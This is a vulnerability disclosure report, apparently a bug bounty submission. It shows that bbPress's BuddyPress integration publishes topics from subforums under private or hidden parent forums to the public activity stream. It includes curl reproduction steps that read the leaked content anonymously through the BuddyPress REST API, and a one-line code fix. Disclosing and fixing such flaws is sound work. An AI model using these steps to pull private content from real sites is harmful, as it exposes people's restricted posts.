Information Disclosure - Unauthen Leak Private Content

How it was found

Affected Version + Version Used:

Description:

bbPress's BuddyPress integration computes the hide_sitewide flag for new topic/reply activity by checking only the posting forum's own status, not its ancestors. A publish-status subforum nested under a private/hidden parent forum therefore has its topics broadcast in full (title, forum name, permalink, raw body) to BuddyPress's public Activity stream, even though the topic's own permalink correctly 404s for the same viewer.

Steps To Reproduce:

1. Member posts topic in subforum (forum_id=6, child of private forum) curl -s -b cookies.txt -L -d "bbp_topic_title=Test&bbp_topic_content=Secret&bbp_forum_id=6&action=bbp-new-topic&_wpnonce=$N"
   https://site/forums/forum/private/public-subforum/ -> HTTP 200, redirect to /forums/topic/test/

2. Direct permalink correctly blocked curl -s -o /dev/null -w "%{http_code}" https://site/forums/topic/test/ -> 404

3. Anonymous read via public activity stream curl -s https://site/wp-json/buddypress/v1/activity | grep -o '"rendered":"[^"]Secret[^"]"' -> "rendered":"<p>Secret</p>" (full content disclosed)

Recommendations

Code Fix: In includes/extend/buddypress/activity.php (inside topic_create and reply_create), remove the false argument so bbp_is_forum_public() correctly checks parent ancestors:

// Change from: ! bbp_is_forum_public( $forum_id, false )
'hide_sitewide' => ! bbp_is_forum_public( $forum_id ),

Impact

Data Leakage: Full post content, titles, and details of topics inside private or hidden subforums are broadcast to the public activity stream.

Access Control Bypass: Unauthenticated users or low-privileged accounts can read restricted content via the BuddyPress feed/API, even though direct links return a 404.